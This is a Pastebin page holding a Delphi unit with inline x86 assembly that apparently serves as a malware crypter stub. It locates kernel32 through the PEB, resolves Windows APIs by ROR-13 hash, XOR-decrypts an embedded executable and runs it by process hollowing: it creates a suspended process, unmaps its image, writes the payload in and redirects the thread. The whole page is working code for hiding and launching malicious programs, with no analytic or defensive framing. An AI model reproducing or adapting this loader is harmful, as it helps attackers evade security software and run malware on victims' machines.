Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit main;
- interface
- uses
- windows;
- procedure __begin ();stdcall;
- procedure __proc ();stdcall;
- function kernel_base ():cardinal;stdcall;
- function hash (procname :pansichar):cardinal;stdcall;
- procedure asmmove (const source; var dest; count : integer);
- procedure movememory (destination: pointer; source: pointer; length: dword);
- function find_function (imagebase,function_hash : cardinal):pointer;stdcall;
- procedure performbaserelocation(f_module: pointer; inh:pimagentheaders; f_delta: cardinal); stdcall;
- function get4bytealignedcontext(var base: pcontext): pcontext;
- function executefrommem (szfilepath, szparams:pansichar; pfile:pansichar):dword;stdcall;
- function __pointer ():dword;stdcall;
- procedure __end ();stdcall;
- type
- ploader = ^tloader;
- tloader = record
- is_terminate : bool;
- xor_function : array [0..264] of byte;
- xor_pass : array [0..7] of char;
- xor_size : cardinal;
- x_loadlibrarya : function (lplibfilename: pansichar): hmodule; stdcall;
- n_loadlibrarya : array [0..12] of char;
- x_createprocessa : function (lpapplicationname: pchar; lpcommandline: pchar;lpprocessattributes, lpthreadattributes: psecurityattributes;binherithandles: bool; dwcreationflags: dword; lpenvironment: pointer;lpcurrentdirectory: pchar; const lpstartupinfo: tstartupinfo;var lpprocessinformation: tprocessinformation): bool; stdcall;
- n_createprocessa : array [0..14] of char;
- x_readprocessmemory : function (hprocess: thandle; const lpbaseaddress: pointer; lpbuffer: pointer;nsize: dword; var lpnumberofbytesread: dword): bool; stdcall;
- n_readprocessmemory : array [0..16] of char;
- x_writeprocessmemory : function (hprocess: thandle; const lpbaseaddress: pointer; lpbuffer: pointer;nsize: dword; var lpnumberofbyteswritten: dword): bool; stdcall;
- n_writeprocessmemory : array [0..18] of char;
- x_getthreadcontext : function (hthread: thandle; var lpcontext: tcontext): bool; stdcall;
- n_getthreadcontext : array [0..16] of char;
- x_setthreadcontext : function (hthread: thandle; const lpcontext: tcontext): bool; stdcall;
- n_setthreadcontext : array [0..16] of char;
- x_resumethread : function (hthread: thandle): dword; stdcall;
- n_resumethread : array [0..12] of char;
- x_virtualallocex : function (hprocess: thandle; lpaddress: pointer;dwsize, flallocationtype: dword; flprotect: dword): pointer; stdcall;
- n_virtualallocex : array [0..14] of char;
- x_virtualalloc : function (lpaddress: pointer;dwsize, flallocationtype: dword; flprotect: dword): pointer; stdcall;
- n_virtualalloc : array [0..12] of char;
- x_virtualfree : function (lpaddress: pointer; dwsize, dwfreetype: dword): bool; stdcall;
- n_virtualfree : array [0..11] of char;
- x_terminateprocess : function (hprocess: thandle; uexitcode: uint): bool; stdcall;
- n_terminateprocess : array [0..16] of char;
- n_ntdll : array [0..9] of char;
- x_ntunmapviewofsection : function (processhandle:dword; baseaddress:pointer):dword; stdcall;
- n_ntunmapviewofsection : array [0..20] of char;
- n_szfilepath,n_szparams : array [0..MAX_PATH] of char;
- pe_image : array [0..3] of char;
- end;
- implementation
- procedure __begin ();stdcall;
- asm
- end;
- procedure __proc ();stdcall;
- var
- x_loader : ploader;
- x_xor : procedure (buffer :pansichar; size:cardinal; password:pansichar);stdcall;
- begin
- x_loader := pointer(__pointer);
- addr (x_xor) := addr (x_loader^.xor_function);
- addr (x_loader^.x_loadlibrarya) := find_function (kernel_base,hash(x_loader^.n_loadlibrarya));
- addr (x_loader^.x_ntunmapviewofsection) := find_function(x_loader^.x_loadlibrarya (x_loader^.n_ntdll),hash(x_loader^.n_ntunmapviewofsection));
- addr (x_loader^.x_createprocessa) := find_function(kernel_base,hash(x_loader^.n_createprocessa));
- addr (x_loader^.x_readprocessmemory) := find_function(kernel_base,hash(x_loader^.n_readprocessmemory));
- addr (x_loader^.x_writeprocessmemory) := find_function(kernel_base,hash(x_loader^.n_writeprocessmemory));
- addr (x_loader^.x_getthreadcontext) := find_function(kernel_base,hash(x_loader^.n_getthreadcontext));
- addr (x_loader^.x_setthreadcontext) := find_function(kernel_base,hash(x_loader^.n_setthreadcontext));
- addr (x_loader^.x_resumethread) := find_function(kernel_base,hash(x_loader^.n_resumethread));
- addr (x_loader^.x_virtualallocex) := find_function(kernel_base,hash(x_loader^.n_virtualallocex));
- addr (x_loader^.x_virtualalloc) := find_function(kernel_base,hash(x_loader^.n_virtualalloc));
- addr (x_loader^.x_virtualfree) := find_function(kernel_base,hash(x_loader^.n_virtualfree));
- addr (x_loader^.x_terminateprocess) := find_function(kernel_base,hash(x_loader^.n_terminateprocess));
- x_xor (x_loader^.pe_image,x_loader^.xor_size,x_loader^.xor_pass);
- executefrommem (x_loader^.n_szfilepath,x_loader^.n_szparams,x_loader^.pe_image);
- end;
- function kernel_base ():cardinal;stdcall;
- asm
- PUSHAD
- XOR ECX, ECX
- MOV ESI, FS:[ECX + 30H]
- MOV ESI, [ESI + 0CH]
- MOV ESI, [ESI + 1CH]
- @@NEXT_MODULE:
- MOV EAX, [ESI + 08H]
- MOV EDI, [ESI + 20H]
- MOV ESI, [ESI]
- CMP [EDI + 12 * 2], CL
- JNE @@NEXT_MODULE
- MOV [ESP + 01CH], EAX
- POPAD
- end;
- function hash (procname :pansichar):cardinal;stdcall;
- asm
- PUSHAD
- MOV ESI,PROCNAME
- XOR EDI, EDI
- XOR EAX, EAX
- CLD
- @@HASH:
- LODSB
- TEST AL, AL
- JZ @@HASH_FINISHED
- ROR EDI, 0DH
- ADD EDI, EAX
- JMP @@HASH
- @@HASH_FINISHED:
- MOV EAX,EDI
- MOV [ESP + 01CH], EAX
- POPAD
- end;
- procedure asmmove (const source; var dest; count : integer);
- asm
- PUSHAD
- MOV ESI,EAX
- MOV EDI,EDX
- MOV EAX,ECX
- CMP EDI,ESI
- JA @@DOWN
- JE @@EXIT
- SAR ECX,2
- JS @@EXIT
- REP MOVSD
- MOV ECX,EAX
- AND ECX,03H
- REP MOVSB
- JMP @@EXIT
- @@DOWN:
- LEA ESI,[ESI+ECX-4]
- LEA EDI,[EDI+ECX-4]
- SAR ECX,2
- JS @@EXIT
- STD
- REP MOVSD
- MOV ECX,EAX
- AND ECX,03H
- ADD ESI,4-1
- ADD EDI,4-1
- REP MOVSB
- CLD
- @@EXIT:
- MOV [ESP + 01CH], EAX
- POPAD
- end;
- procedure movememory (destination: pointer; source: pointer; length: dword);
- begin
- asmmove(source^,destination^,length);
- end;
- function find_function (imagebase,function_hash : cardinal):pointer;stdcall;
- asm
- PUSHAD
- MOV EBP, [ESP + 028H]
- MOV EAX, [EBP + 03CH]
- MOV EDX, [EBP + EAX + 078H]
- ADD EDX, EBP
- MOV ECX, [EDX + 018H]
- MOV EBX, [EDX + 020H]
- ADD EBX, EBP
- @@FIND_FUNC_ADDRESS_LOOP:
- JECXZ @@FIND_FUNC_ADDRESS_FINISHED
- DEC ECX
- MOV ESI, [EBX + ECX * 4]
- ADD ESI, EBP
- @@PREPARE_HASH:
- XOR EDI, EDI
- XOR EAX, EAX
- CLD
- @@HASH:
- LODSB
- TEST AL, AL
- JZ @@HASH_FINISHED
- ROR EDI, 0DH
- ADD EDI, EAX
- JMP @@HASH
- @@HASH_FINISHED:
- @@COMPARE_HASH:
- CMP EDI, [ESP + 02CH]
- JNZ @@FIND_FUNC_ADDRESS_LOOP
- MOV EBX, [EDX + 024H]
- ADD EBX, EBP
- MOV CX, [EBX + 2 * ECX]
- MOV EBX, [EDX + 01CH]
- ADD EBX, EBP
- MOV EAX, [EBX + 4 * ECX]
- ADD EAX, EBP
- MOV [ESP + 01CH], EAX
- @@FIND_FUNC_ADDRESS_FINISHED:
- POPAD
- end;
- procedure performbaserelocation(f_module: pointer; inh:pimagentheaders; f_delta: cardinal); stdcall;
- type
- pimagebaserelocation = ^timagebaserelocation;
- timagebaserelocation = packed record
- virtualaddress: dword;
- sizeofblock: dword;
- end;
- var
- l_i: cardinal;
- l_codebase: pointer;
- l_relocation: pimagebaserelocation;
- l_dest: pointer;
- l_relinfo: ^word;
- l_patchaddrhl: ^dword;
- l_type, l_offset: integer;
- begin
- l_codebase := f_module;
- if inh^.optionalheader.datadirectory[5].size > 0 then
- begin
- l_relocation := pimagebaserelocation(cardinal(l_codebase) + inh^.optionalheader.datadirectory[5].virtualaddress);
- while l_relocation.virtualaddress > 0 do
- begin
- l_dest := pointer((cardinal(l_codebase) + l_relocation.virtualaddress));
- l_relinfo := pointer(cardinal(l_relocation) + 8);
- for l_i := 0 to (trunc(((l_relocation.sizeofblock - 8) / 2)) - 1) do
- begin
- l_type := (l_relinfo^ shr 12);
- l_offset := l_relinfo^ and $fff;
- if l_type = 3 then
- begin
- l_patchaddrhl := pointer(cardinal(l_dest) + cardinal(l_offset));
- l_patchaddrhl^ := l_patchaddrhl^ + f_delta;
- end;
- inc(l_relinfo);
- end;
- l_relocation := pointer(cardinal(l_relocation) + l_relocation.sizeofblock);
- end;
- end;
- end;
- function alignimage (pimage:pointer):pointer;
- var
- idh: pimagedosheader;
- inh: pimagentheaders;
- ish: pimagesectionheader;
- i: word;
- x_loader : ploader;
- begin
- x_loader := pointer(__pointer);
- idh := pimage;
- inh := pointer(integer(pimage) + idh^._lfanew);
- result := x_loader^.x_virtualalloc (nil,inh^.optionalheader.sizeofimage,mem_commit,page_readwrite);
- movememory (result, pimage, inh^.optionalheader.sizeofheaders);
- for i := 0 to inh^.fileheader.numberofsections - 1 do
- begin
- ish := pointer(integer(pimage) + idh^._lfanew + 248 + i * 40);
- movememory (pointer(dword(result) + ish^.virtualaddress), pointer(dword(pimage) + ish^.pointertorawdata), ish^.sizeofrawdata);
- end;
- end;
- function get4bytealignedcontext(var base: pcontext): pcontext;
- var
- x_loader : ploader;
- begin
- x_loader := pointer(__pointer);
- base := x_loader^.x_virtualalloc (nil, sizeof(tcontext) + 4, mem_commit, page_readwrite);
- result := base;
- if base <> nil then
- while ((dword(result) mod 4) <> 0) do
- result := pointer (dword(result) + 1);
- end;
- function executefrommem (szfilepath, szparams:pansichar; pfile:pansichar):dword;stdcall;
- var
- pi: pprocessinformation;
- si: pstartupinfo;
- ct: pcontext;
- ctbase: pcontext;
- idh: pimagedosheader;
- inh: pimagentheaders;
- dwimagebase: dword;
- pmodule: pointer;
- dwnull: dword;
- x_loader: ploader;
- begin
- x_loader := pointer(__pointer);
- result := 0;
- idh := pointer (pfile);
- if idh^.e_magic = image_dos_signature then
- begin
- inh := pointer(integer(pfile) + idh^._lfanew);
- if inh^.signature = image_nt_signature then
- begin
- pi := x_loader^.x_virtualalloc (nil, sizeof (tprocessinformation), mem_commit, page_readwrite);
- si := x_loader^.x_virtualalloc (nil, sizeof (tstartupinfo), mem_commit, page_readwrite);
- si.cb := sizeof (tstartupinfo);
- if x_loader^.x_createprocessa (pchar(szfilepath), pchar(szparams), nil, nil, false, create_suspended, nil, nil, si^, pi^) then
- begin
- ct := get4bytealignedcontext(ctbase);
- if ct <> nil then
- begin
- ct.contextflags := context_full;
- if x_loader^.x_getthreadcontext(pi.hthread, ct^) then
- begin
- x_loader^.x_readprocessmemory(pi.hprocess, pointer(ct.ebx + 8), @dwimagebase, 4, dwnull);
- if dwimagebase = inh^.optionalheader.imagebase then
- begin
- if x_loader^.x_ntunmapviewofsection(pi.hprocess, pointer(inh^.optionalheader.imagebase)) = 0 then
- pmodule := x_loader^.x_virtualallocex(pi.hprocess, pointer(inh^.optionalheader.imagebase), inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite)
- else
- pmodule := x_loader^.x_virtualallocex(pi.hprocess, nil, inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite);
- end
- else
- pmodule := x_loader^.x_virtualallocex(pi.hprocess, pointer(inh^.optionalheader.imagebase), inh^.optionalheader.sizeofimage, mem_commit or mem_reserve, page_execute_readwrite);
- if pmodule <> nil then
- begin
- pfile := alignimage(pfile);
- if dword(pmodule) <> inh^.optionalheader.imagebase then
- begin
- performbaserelocation(pfile, inh, (dword(pmodule) - inh^.optionalheader.imagebase));
- inh^.optionalheader.imagebase := dword(pmodule);
- copymemory(pointer(integer(pfile) + idh^._lfanew), inh, 248);
- end;
- x_loader^.x_writeprocessmemory(pi.hprocess, pmodule, pfile, inh.optionalheader.sizeofimage, dwnull);
- x_loader^.x_writeprocessmemory(pi.hprocess, pointer(ct.ebx + 8), @pmodule, 4, dwnull);
- ct.eax := dword(pmodule) + inh^.optionalheader.addressofentrypoint;
- x_loader^.x_setthreadcontext(pi.hthread, ct^);
- x_loader^.x_resumethread(pi.hthread);
- result := pi.hthread;
- end;
- end;
- x_loader^.x_virtualfree (ctbase, 0, mem_release);
- x_loader^.x_virtualfree (pi,0, mem_release);
- x_loader^.x_virtualfree (si,0, mem_release);
- end;
- if x_loader^.is_terminate then
- x_loader^.x_terminateprocess (dword (-1),0);
- end;
- end;
- end;
- end;
- function __pointer ():dword;stdcall;
- asm
- CALL @ADDR
- @ADDR:
- POP EAX
- ADD EAX,7
- end;
- procedure __end ();stdcall;
- asm
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment